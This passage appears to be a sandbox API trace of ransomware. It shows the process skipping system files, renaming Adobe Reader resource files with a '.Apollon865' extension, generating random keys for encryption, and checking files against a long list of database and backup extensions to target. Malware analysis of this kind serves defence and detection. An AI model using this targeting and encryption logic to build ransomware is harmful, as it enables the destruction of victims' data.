	[0057.148] lstrlenW (lpString="Apollon865") returned 10
	[0057.148] lstrlenW (lpString=".dll") returned 4
	[0057.148] lstrcmpiW (lpString1="slo.fca", lpString2=".dll") returned 1
	[0057.148] lstrlenW (lpString=".lnk") returned 4
	[0057.148] lstrcmpiW (lpString1="slo.fca", lpString2=".lnk") returned 1
	[0057.148] lstrlenW (lpString=".ini") returned 4
	[0057.148] lstrcmpiW (lpString1="slo.fca", lpString2=".ini") returned 1
	[0057.148] lstrlenW (lpString=".sys") returned 4
	[0057.148] lstrcmpiW (lpString1="slo.fca", lpString2=".sys") returned 1
	[0057.148] lstrlenW (lpString="slo.fca") returned 7
	[0057.148] lstrcpyW (in: lpString1=0x2d3e600, lpString2="slo.hyp" | out: lpString1="slo.hyp") returned="slo.hyp"
	[0057.148] lstrlenW (lpString="slo.hyp") returned 7
	[0057.148] lstrlenW (lpString="Apollon865") returned 10
	[0057.148] lstrlenW (lpString=".dll") returned 4
	[0057.149] lstrcmpiW (lpString1="slo.hyp", lpString2=".dll") returned 1
	[0057.149] lstrlenW (lpString=".lnk") returned 4
	[0057.149] lstrcmpiW (lpString1="slo.hyp", lpString2=".lnk") returned 1
	[0057.149] lstrlenW (lpString=".ini") returned 4
	[0057.149] lstrcmpiW (lpString1="slo.hyp", lpString2=".ini") returned 1
	[0057.149] lstrlenW (lpString=".sys") returned 4
	[0057.149] lstrcmpiW (lpString1="slo.hyp", lpString2=".sys") returned 1
	[0057.149] lstrlenW (lpString="slo.hyp") returned 7
	[0057.149] lstrcpyW (in: lpString1=0x2d3e600, lpString2="slo113.hsp" | out: lpString1="slo113.hsp") returned="slo113.hsp"
	[0057.149] lstrlenW (lpString="slo113.hsp") returned 10
	[0057.149] lstrlenW (lpString="Apollon865") returned 10
	[0057.149] lstrlenW (lpString=".dll") returned 4
	[0057.149] lstrcmpiW (lpString1="slo113.hsp", lpString2=".dll") returned 1
	[0057.149] lstrlenW (lpString=".lnk") returned 4
	[0057.149] lstrcmpiW (lpString1="slo113.hsp", lpString2=".lnk") returned 1
	[0057.149] lstrlenW (lpString=".ini") returned 4
	[0057.149] lstrcmpiW (lpString1="slo113.hsp", lpString2=".ini") returned 1
	[0057.149] lstrlenW (lpString=".sys") returned 4
	[0057.149] lstrcmpiW (lpString1="slo113.hsp", lpString2=".sys") returned 1
	[0057.149] lstrlenW (lpString="slo113.hsp") returned 10
	[0057.149] lstrcpyW (in: lpString1=0x2d3e600, lpString2="slo32.clx" | out: lpString1="slo32.clx") returned="slo32.clx"
	[0057.149] lstrlenW (lpString="slo32.clx") returned 9
	[0057.149] lstrlenW (lpString="Apollon865") returned 10
	[0057.149] lstrlenW (lpString=".dll") returned 4
	[0057.149] lstrcmpiW (lpString1="slo32.clx", lpString2=".dll") returned 1
	[0057.149] lstrlenW (lpString=".lnk") returned 4
	[0057.149] lstrcmpiW (lpString1="slo32.clx", lpString2=".lnk") returned 1
	[0057.149] lstrlenW (lpString=".ini") returned 4
	[0057.149] lstrcmpiW (lpString1="slo32.clx", lpString2=".ini") returned 1
	[0057.150] lstrlenW (lpString=".sys") returned 4
	[0057.150] lstrcmpiW (lpString1="slo32.clx", lpString2=".sys") returned 1
	[0057.150] lstrlenW (lpString="slo32.clx") returned 9
	[0057.150] lstrcpyW (in: lpString1=0x2d3e600, lpString2="slv.hyp" | out: lpString1="slv.hyp") returned="slv.hyp"
	[0057.150] lstrlenW (lpString="slv.hyp") returned 7
	[0057.150] lstrlenW (lpString="Apollon865") returned 10
	[0057.150] lstrlenW (lpString=".dll") returned 4
	[0057.150] lstrcmpiW (lpString1="slv.hyp", lpString2=".dll") returned 1
	[0057.150] lstrlenW (lpString=".lnk") returned 4
	[0057.150] lstrcmpiW (lpString1="slv.hyp", lpString2=".lnk") returned 1
	[0057.150] lstrlenW (lpString=".ini") returned 4
	[0057.150] lstrcmpiW (lpString1="slv.hyp", lpString2=".ini") returned 1
	[0057.150] lstrlenW (lpString=".sys") returned 4
	[0057.150] lstrcmpiW (lpString1="slv.hyp", lpString2=".sys") returned 1
	[0057.150] lstrlenW (lpString="slv.hyp") returned 7
	[0057.150] lstrcpyW (in: lpString1=0x2d3e600, lpString2="slv137.lex" | out: lpString1="slv137.lex") returned="slv137.lex"
	[0057.150] lstrlenW (lpString="slv137.lex") returned 10
	[0057.150] lstrlenW (lpString="Apollon865") returned 10
	[0057.150] lstrlenW (lpString=".dll") returned 4
	[0057.150] lstrcmpiW (lpString1="slv137.lex", lpString2=".dll") returned 1
	[0057.150] lstrlenW (lpString=".lnk") returned 4
	[0057.150] lstrcmpiW (lpString1="slv137.lex", lpString2=".lnk") returned 1
	[0057.150] lstrlenW (lpString=".ini") returned 4
	[0057.150] lstrcmpiW (lpString1="slv137.lex", lpString2=".ini") returned 1
	[0057.150] lstrlenW (lpString=".sys") returned 4
	[0057.150] lstrcmpiW (lpString1="slv137.lex", lpString2=".sys") returned 1
	[0057.150] lstrlenW (lpString="slv137.lex") returned 10
	[0057.150] lstrcpyW (in: lpString1=0x2d3e600, lpString2="slv32.clx" | out: lpString1="slv32.clx") returned="slv32.clx"
	[0057.151] lstrlenW (lpString="slv32.clx") returned 9
	[0057.151] lstrlenW (lpString="Apollon865") returned 10
	[0057.151] lstrlenW (lpString=".dll") returned 4
	[0057.151] lstrcmpiW (lpString1="slv32.clx", lpString2=".dll") returned 1
	[0057.151] lstrlenW (lpString=".lnk") returned 4
	[0057.151] lstrcmpiW (lpString1="slv32.clx", lpString2=".lnk") returned 1
	[0057.151] lstrlenW (lpString=".ini") returned 4
	[0057.151] lstrcmpiW (lpString1="slv32.clx", lpString2=".ini") returned 1
	[0057.151] lstrlenW (lpString=".sys") returned 4
	[0057.151] lstrcmpiW (lpString1="slv32.clx", lpString2=".sys") returned 1
	[0057.151] lstrlenW (lpString="slv32.clx") returned 9
	[0057.151] lstrcpyW (in: lpString1=0x2d3e600, lpString2="slvphon.env" | out: lpString1="slvphon.env") returned="slvphon.env"
	[0057.151] lstrlenW (lpString="slvphon.env") returned 11
	[0057.151] lstrlenW (lpString="Apollon865") returned 10
	[0057.151] lstrcmpiW (lpString1="lvphon.env", lpString2="Apollon865") returned 1
	[0057.151] lstrlenW (lpString=".dll") returned 4
	[0057.151] lstrcmpiW (lpString1="slvphon.env", lpString2=".dll") returned 1
	[0057.151] lstrlenW (lpString=".lnk") returned 4
	[0057.151] lstrcmpiW (lpString1="slvphon.env", lpString2=".lnk") returned 1
	[0057.151] lstrlenW (lpString=".ini") returned 4
	[0057.151] lstrcmpiW (lpString1="slvphon.env", lpString2=".ini") returned 1
	[0057.151] lstrlenW (lpString=".sys") returned 4
	[0057.151] lstrcmpiW (lpString1="slvphon.env", lpString2=".sys") returned 1
	[0057.151] lstrlenW (lpString="slvphon.env") returned 11
	[0057.151] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slvphon.env.Apollon865") returned 110
	[0057.151] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slvphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slvphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slvphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slvphon.env.apollon865"), dwFlags=0x1) returned 1
	[0057.153] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slvphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slvphon.env.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0057.153] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4255) returned 1
	[0057.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0057.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.153] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.154] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.154] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.154] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a0, lpName=0x0) returned 0x15c
	[0057.156] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a0) returned 0x120000
	[0057.157] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.157] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.157] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.158] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.158] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0057.158] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.158] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0057.158] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.158] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.158] CloseHandle (hObject=0x15c) returned 1
	[0057.158] CloseHandle (hObject=0xc0) returned 1
	[0057.158] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0057.158] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.159] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.159] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spn.fca", cAlternateFileName="")) returned 1
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2="Apollon865.txt.exe") returned 1
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2=".") returned 1
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2="..") returned 1
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2="windows") returned -1
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2="bootmgr") returned 1
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2="temp") returned -1
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2="pagefile.sys") returned 1
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2="boot") returned 1
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2="ids.txt") returned 1
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2="ntuser.dat") returned 1
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2="perflogs") returned 1
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2="MSBuild") returned 1
	[0057.159] lstrlenW (lpString="spn.fca") returned 7
	[0057.159] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slvphon.env") returned 99
	[0057.159] lstrcpyW (in: lpString1=0x2d3e600, lpString2="spn.fca" | out: lpString1="spn.fca") returned="spn.fca"
	[0057.159] lstrlenW (lpString="spn.fca") returned 7
	[0057.159] lstrlenW (lpString="Apollon865") returned 10
	[0057.159] lstrlenW (lpString=".dll") returned 4
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2=".dll") returned 1
	[0057.159] lstrlenW (lpString=".lnk") returned 4
	[0057.159] lstrcmpiW (lpString1="spn.fca", lpString2=".lnk") returned 1
	[0057.159] lstrlenW (lpString=".ini") returned 4
	[0057.160] lstrcmpiW (lpString1="spn.fca", lpString2=".ini") returned 1
	[0057.160] lstrlenW (lpString=".sys") returned 4
	[0057.160] lstrcmpiW (lpString1="spn.fca", lpString2=".sys") returned 1
	[0057.160] lstrlenW (lpString="spn.fca") returned 7
	[0057.160] lstrlenW (lpString="bak") returned 3
	[0057.160] lstrcmpiW (lpString1="fca", lpString2="bak") returned 1
	[0057.160] lstrlenW (lpString="ba_") returned 3
	[0057.160] lstrcmpiW (lpString1="fca", lpString2="ba_") returned 1
	[0057.160] lstrlenW (lpString="dbb") returned 3
	[0057.160] lstrcmpiW (lpString1="fca", lpString2="dbb") returned 1
	[0057.160] lstrlenW (lpString="vmdk") returned 4
	[0057.160] lstrcmpiW (lpString1=".fca", lpString2="vmdk") returned -1
	[0057.160] lstrlenW (lpString="rar") returned 3
	[0057.160] lstrcmpiW (lpString1="fca", lpString2="rar") returned -1
	[0057.160] lstrlenW (lpString="zip") returned 3
	[0057.160] lstrcmpiW (lpString1="fca", lpString2="zip") returned -1
	[0057.160] lstrlenW (lpString="tgz") returned 3
	[0057.160] lstrcmpiW (lpString1="fca", lpString2="tgz") returned -1
	[0057.160] lstrlenW (lpString="vbox") returned 4
	[0057.160] lstrcmpiW (lpString1=".fca", lpString2="vbox") returned -1
	[0057.160] lstrlenW (lpString="vdi") returned 3
	[0057.160] lstrcmpiW (lpString1="fca", lpString2="vdi") returned -1
	[0057.160] lstrlenW (lpString="vhd") returned 3
	[0057.160] lstrcmpiW (lpString1="fca", lpString2="vhd") returned -1
	[0057.160] lstrlenW (lpString="vhdx") returned 4
	[0057.160] lstrcmpiW (lpString1=".fca", lpString2="vhdx") returned -1
	[0057.160] lstrlenW (lpString="avhd") returned 4
	[0057.160] lstrcmpiW (lpString1=".fca", lpString2="avhd") returned -1
	[0057.160] lstrlenW (lpString="db") returned 2
	[0057.160] lstrcmpiW (lpString1="ca", lpString2="db") returned -1
	[0057.160] lstrlenW (lpString="db2") returned 3
	[0057.160] lstrcmpiW (lpString1="fca", lpString2="db2") returned 1
	[0057.160] lstrlenW (lpString="db3") returned 3
	[0057.160] lstrcmpiW (lpString1="fca", lpString2="db3") returned 1
	[0057.161] lstrlenW (lpString="dbf") returned 3
	[0057.161] lstrcmpiW (lpString1="fca", lpString2="dbf") returned 1
	[0057.161] lstrlenW (lpString="mdf") returned 3
	[0057.161] lstrcmpiW (lpString1="fca", lpString2="mdf") returned -1
	[0057.161] lstrlenW (lpString="mdb") returned 3
	[0057.161] lstrcmpiW (lpString1="fca", lpString2="mdb") returned -1
	[0057.161] lstrlenW (lpString="sql") returned 3
	[0057.161] lstrcmpiW (lpString1="fca", lpString2="sql") returned -1
	[0057.161] lstrlenW (lpString="sqlite") returned 6
	[0057.161] lstrcmpiW (lpString1="pn.fca", lpString2="sqlite") returned -1
	[0057.161] lstrlenW (lpString="sqlite3") returned 7
	[0057.161] lstrlenW (lpString="sqlitedb") returned 8
	[0057.161] lstrlenW (lpString="xml") returned 3
	[0057.161] lstrcmpiW (lpString1="fca", lpString2="xml") returned -1
	[0057.161] lstrlenW (lpString="$er") returned 3
	[0057.161] lstrcmpiW (lpString1="fca", lpString2="$er") returned 1
	[0057.161] lstrlenW (lpString="4dd") returned 3
	[0057.161] lstrcmpiW (lpString1="fca", lpString2="4dd") returned 1
	[0057.161] lstrlenW (lpString="4dl") returned 3
	[0057.161] lstrcmpiW (lpString1="fca", lpString2="4dl") returned 1
	[0057.161] lstrlenW (lpString="^^^") returned 3
	[0057.161] lstrcmpiW (lpString1="fca", lpString2="^^^") returned 1
	[0057.161] lstrlenW (lpString="abs") returned 3
	[0057.161] lstrcmpiW (lpString1="fca", lpString2="abs") returned 1
	[0057.161] lstrlenW (lpString="abx") returned 3
	[0057.161] lstrcmpiW (lpString1="fca", lpString2="abx") returned 1
	[0057.161] lstrlenW (lpString="accdb") returned 5
	[0057.161] lstrcmpiW (lpString1="n.fca", lpString2="accdb") returned 1
	[0057.161] lstrlenW (lpString="accdc") returned 5
	[0057.161] lstrcmpiW (lpString1="n.fca", lpString2="accdc") returned 1
	[0057.161] lstrlenW (lpString="accde") returned 5
	[0057.161] lstrcmpiW (lpString1="n.fca", lpString2="accde") returned 1
	[0057.161] lstrlenW (lpString="accdr") returned 5
	[0057.162] lstrcmpiW (lpString1="n.fca", lpString2="accdr") returned 1
	[0057.162] lstrlenW (lpString="accdt") returned 5
	[0057.162] lstrcmpiW (lpString1="n.fca", lpString2="accdt") returned 1
	[0057.162] lstrlenW (lpString="accdw") returned 5
	[0057.162] lstrcmpiW (lpString1="n.fca", lpString2="accdw") returned 1
	[0057.162] lstrlenW (lpString="accft") returned 5
	[0057.162] lstrcmpiW (lpString1="n.fca", lpString2="accft") returned 1
	[0057.162] lstrlenW (lpString="adb") returned 3
	[0057.162] lstrcmpiW (lpString1="fca", lpString2="adb") returned 1
	[0057.162] lstrlenW (lpString="adb") returned 3
	[0057.162] lstrcmpiW (lpString1="fca", lpString2="adb") returned 1
	[0057.162] lstrlenW (lpString="ade") returned 3
	[0057.162] lstrcmpiW (lpString1="fca", lpString2="ade") returned 1
	[0057.162] lstrlenW (lpString="adf") returned 3
	[0057.162] lstrcmpiW (lpString1="fca", lpString2="adf") returned 1
	[0057.162] lstrlenW (lpString="adn") returned 3
	[0057.162] lstrcmpiW (lpString1="fca", lpString2="adn") returned 1
	[0057.162] lstrlenW (lpString="adp") returned 3
	[0057.162] lstrcmpiW (lpString1="fca", lpString2="adp") returned 1
	[0057.162] lstrlenW (lpString="alf") returned 3
	[0057.162] lstrcmpiW (lpString1="fca", lpString2="alf") returned 1
	[0057.162] lstrlenW (lpString="ask") returned 3
	[0057.162] lstrcmpiW (lpString1="fca", lpString2="ask") returned 1
	[0057.162] lstrlenW (lpString="btr") returned 3
	[0057.162] lstrcmpiW (lpString1="fca", lpString2="btr") returned 1
	[0057.162] lstrlenW (lpString="cat") returned 3
	[0057.162] lstrcmpiW (lpString1="fca", lpString2="cat") returned 1
	[0057.162] lstrlenW (lpString="cdb") returned 3
	[0057.162] lstrcmpiW (lpString1="fca", lpString2="cdb") returned 1
	[0057.162] lstrlenW (lpString="ckp") returned 3
	[0057.162] lstrcmpiW (lpString1="fca", lpString2="ckp") returned 1
	[0057.162] lstrlenW (lpString="cma") returned 3
	[0057.162] lstrcmpiW (lpString1="fca", lpString2="cma") returned 1
	[0057.162] lstrlenW (lpString="cpd") returned 3
	[0057.163] lstrcmpiW (lpString1="fca", lpString2="cpd") returned 1
	[0057.163] lstrlenW (lpString="dacpac") returned 6
	[0057.163] lstrcmpiW (lpString1="pn.fca", lpString2="dacpac") returned 1
	[0057.163] lstrlenW (lpString="dad") returned 3
	[0057.163] lstrcmpiW (lpString1="fca", lpString2="dad") returned 1
	[0057.163] lstrlenW (lpString="dadiagrams") returned 10
	[0057.163] lstrlenW (lpString="daschema") returned 8
	[0057.163] lstrlenW (lpString="db-journal") returned 10
	[0057.163] lstrlenW (lpString="db-shm") returned 6
	[0057.163] lstrcmpiW (lpString1="pn.fca", lpString2="db-shm") returned 1
	[0057.163] lstrlenW (lpString="db-wal") returned 6
	[0057.163] lstrcmpiW (lpString1="pn.fca", lpString2="db-wal") returned 1
	[0057.163] lstrlenW (lpString="dbc") returned 3
	[0057.163] lstrcmpiW (lpString1="fca", lpString2="dbc") returned 1
	[0057.163] lstrlenW (lpString="dbs") returned 3
	[0057.163] lstrcmpiW (lpString1="fca", lpString2="dbs") returned 1
	[0057.163] lstrlenW (lpString="dbt") returned 3
	[0057.163] lstrcmpiW (lpString1="fca", lpString2="dbt") returned 1
	[0057.163] lstrlenW (lpString="dbv") returned 3
	[0057.163] lstrcmpiW (lpString1="fca", lpString2="dbv") returned 1
	[0057.163] lstrlenW (lpString="dbx") returned 3
	[0057.163] lstrcmpiW (lpString1="fca", lpString2="dbx") returned 1
	[0057.163] lstrlenW (lpString="dcb") returned 3
	[0057.163] lstrcmpiW (lpString1="fca", lpString2="dcb") returned 1
	[0057.163] lstrlenW (lpString="dct") returned 3
	[0057.163] lstrcmpiW (lpString1="fca", lpString2="dct") returned 1
	[0057.163] lstrlenW (lpString="dcx") returned 3
	[0057.163] lstrcmpiW (lpString1="fca", lpString2="dcx") returned 1
	[0057.163] lstrlenW (lpString="ddl") returned 3
	[0057.163] lstrcmpiW (lpString1="fca", lpString2="ddl") returned 1
	[0057.163] lstrlenW (lpString="dlis") returned 4
	[0057.163] lstrcmpiW (lpString1=".fca", lpString2="dlis") returned -1
	[0057.163] lstrlenW (lpString="dp1") returned 3
	[0057.164] lstrcmpiW (lpString1="fca", lpString2="dp1") returned 1
	[0057.164] lstrlenW (lpString="dqy") returned 3
	[0057.164] lstrcmpiW (lpString1="fca", lpString2="dqy") returned 1
	[0057.164] lstrlenW (lpString="dsk") returned 3
	[0057.164] lstrcmpiW (lpString1="fca", lpString2="dsk") returned 1
	[0057.164] lstrlenW (lpString="dsn") returned 3
	[0057.164] lstrcmpiW (lpString1="fca", lpString2="dsn") returned 1
	[0057.164] lstrlenW (lpString="dtsx") returned 4
	[0057.164] lstrcmpiW (lpString1=".fca", lpString2="dtsx") returned -1
	[0057.164] lstrlenW (lpString="dxl") returned 3
	[0057.164] lstrcmpiW (lpString1="fca", lpString2="dxl") returned 1
	[0057.164] lstrlenW (lpString="eco") returned 3
	[0057.164] lstrcmpiW (lpString1="fca", lpString2="eco") returned 1
	[0057.164] lstrlenW (lpString="ecx") returned 3
	[0057.164] lstrcmpiW (lpString1="fca", lpString2="ecx") returned 1
	[0057.164] lstrlenW (lpString="edb") returned 3
	[0057.164] lstrcmpiW (lpString1="fca", lpString2="edb") returned 1
	[0057.164] lstrlenW (lpString="epim") returned 4
	[0057.164] lstrcmpiW (lpString1=".fca", lpString2="epim") returned -1
	[0057.164] lstrlenW (lpString="fcd") returned 3
	[0057.164] lstrcmpiW (lpString1="fca", lpString2="fcd") returned -1
	[0057.164] lstrlenW (lpString="fdb") returned 3
	[0057.164] lstrcmpiW (lpString1="fca", lpString2="fdb") returned -1
	[0057.164] lstrlenW (lpString="fic") returned 3
	[0057.164] lstrcmpiW (lpString1="fca", lpString2="fic") returned -1
	[0057.164] lstrlenW (lpString="flexolibrary") returned 12
	[0057.164] lstrlenW (lpString="fm5") returned 3
	[0057.164] lstrcmpiW (lpString1="fca", lpString2="fm5") returned -1
	[0057.164] lstrlenW (lpString="fmp") returned 3
	[0057.164] lstrcmpiW (lpString1="fca", lpString2="fmp") returned -1
	[0057.164] lstrlenW (lpString="fmp12") returned 5
	[0057.164] lstrcmpiW (lpString1="n.fca", lpString2="fmp12") returned 1
	[0057.164] lstrlenW (lpString="fmpsl") returned 5
	[0057.164] lstrcmpiW (lpString1="n.fca", lpString2="fmpsl") returned 1
	[0057.165] lstrlenW (lpString="fol") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="fol") returned -1
	[0057.165] lstrlenW (lpString="fp3") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="fp3") returned -1
	[0057.165] lstrlenW (lpString="fp4") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="fp4") returned -1
	[0057.165] lstrlenW (lpString="fp5") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="fp5") returned -1
	[0057.165] lstrlenW (lpString="fp7") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="fp7") returned -1
	[0057.165] lstrlenW (lpString="fpt") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="fpt") returned -1
	[0057.165] lstrlenW (lpString="frm") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="frm") returned -1
	[0057.165] lstrlenW (lpString="gdb") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="gdb") returned -1
	[0057.165] lstrlenW (lpString="gdb") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="gdb") returned -1
	[0057.165] lstrlenW (lpString="grdb") returned 4
	[0057.165] lstrcmpiW (lpString1=".fca", lpString2="grdb") returned -1
	[0057.165] lstrlenW (lpString="gwi") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="gwi") returned -1
	[0057.165] lstrlenW (lpString="hdb") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="hdb") returned -1
	[0057.165] lstrlenW (lpString="his") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="his") returned -1
	[0057.165] lstrlenW (lpString="ib") returned 2
	[0057.165] lstrcmpiW (lpString1="ca", lpString2="ib") returned -1
	[0057.165] lstrlenW (lpString="idb") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="idb") returned -1
	[0057.165] lstrlenW (lpString="ihx") returned 3
	[0057.165] lstrcmpiW (lpString1="fca", lpString2="ihx") returned -1
	[0057.165] lstrlenW (lpString="itdb") returned 4
	[0057.165] lstrcmpiW (lpString1=".fca", lpString2="itdb") returned -1
	[0057.166] lstrlenW (lpString="itw") returned 3
	[0057.166] lstrcmpiW (lpString1="fca", lpString2="itw") returned -1
	[0057.166] lstrlenW (lpString="jet") returned 3
	[0057.166] lstrcmpiW (lpString1="fca", lpString2="jet") returned -1
	[0057.166] lstrlenW (lpString="jtx") returned 3
	[0057.166] lstrcmpiW (lpString1="fca", lpString2="jtx") returned -1
	[0057.166] lstrlenW (lpString="kdb") returned 3
	[0057.166] lstrcmpiW (lpString1="fca", lpString2="kdb") returned -1
	[0057.166] lstrlenW (lpString="kexi") returned 4
	[0057.166] lstrcmpiW (lpString1=".fca", lpString2="kexi") returned -1
	[0057.166] lstrlenW (lpString="kexic") returned 5
	[0057.166] lstrcmpiW (lpString1="n.fca", lpString2="kexic") returned 1
	[0057.166] lstrlenW (lpString="kexis") returned 5
	[0057.166] lstrcmpiW (lpString1="n.fca", lpString2="kexis") returned 1
	[0057.166] lstrlenW (lpString="lgc") returned 3
	[0057.166] lstrcmpiW (lpString1="fca", lpString2="lgc") returned -1
	[0057.166] lstrlenW (lpString="lwx") returned 3
	[0057.166] lstrcmpiW (lpString1="fca", lpString2="lwx") returned -1
	[0057.166] lstrlenW (lpString="maf") returned 3
	[0057.166] lstrcmpiW (lpString1="fca", lpString2="maf") returned -1
	[0057.166] lstrlenW (lpString="maq") returned 3
	[0057.166] lstrcmpiW (lpString1="fca", lpString2="maq") returned -1
	[0057.166] lstrlenW (lpString="mar") returned 3
	[0057.166] lstrcmpiW (lpString1="fca", lpString2="mar") returned -1
	[0057.166] lstrlenW (lpString="marshal") returned 7
	[0057.166] lstrlenW (lpString="mas") returned 3
	[0057.166] lstrcmpiW (lpString1="fca", lpString2="mas") returned -1
	[0057.166] lstrlenW (lpString="mav") returned 3
	[0057.166] lstrcmpiW (lpString1="fca", lpString2="mav") returned -1
	[0057.166] lstrlenW (lpString="maw") returned 3
	[0057.166] lstrcmpiW (lpString1="fca", lpString2="maw") returned -1
	[0057.166] lstrlenW (lpString="mdbhtml") returned 7
	[0057.166] lstrlenW (lpString="mdn") returned 3
	[0057.166] lstrcmpiW (lpString1="fca", lpString2="mdn") returned -1
	[0057.167] lstrlenW (lpString="mdt") returned 3
	[0057.167] lstrcmpiW (lpString1="fca", lpString2="mdt") returned -1
	[0057.167] lstrlenW (lpString="mfd") returned 3
	[0057.167] lstrcmpiW (lpString1="fca", lpString2="mfd") returned -1
	[0057.167] lstrlenW (lpString="mpd") returned 3
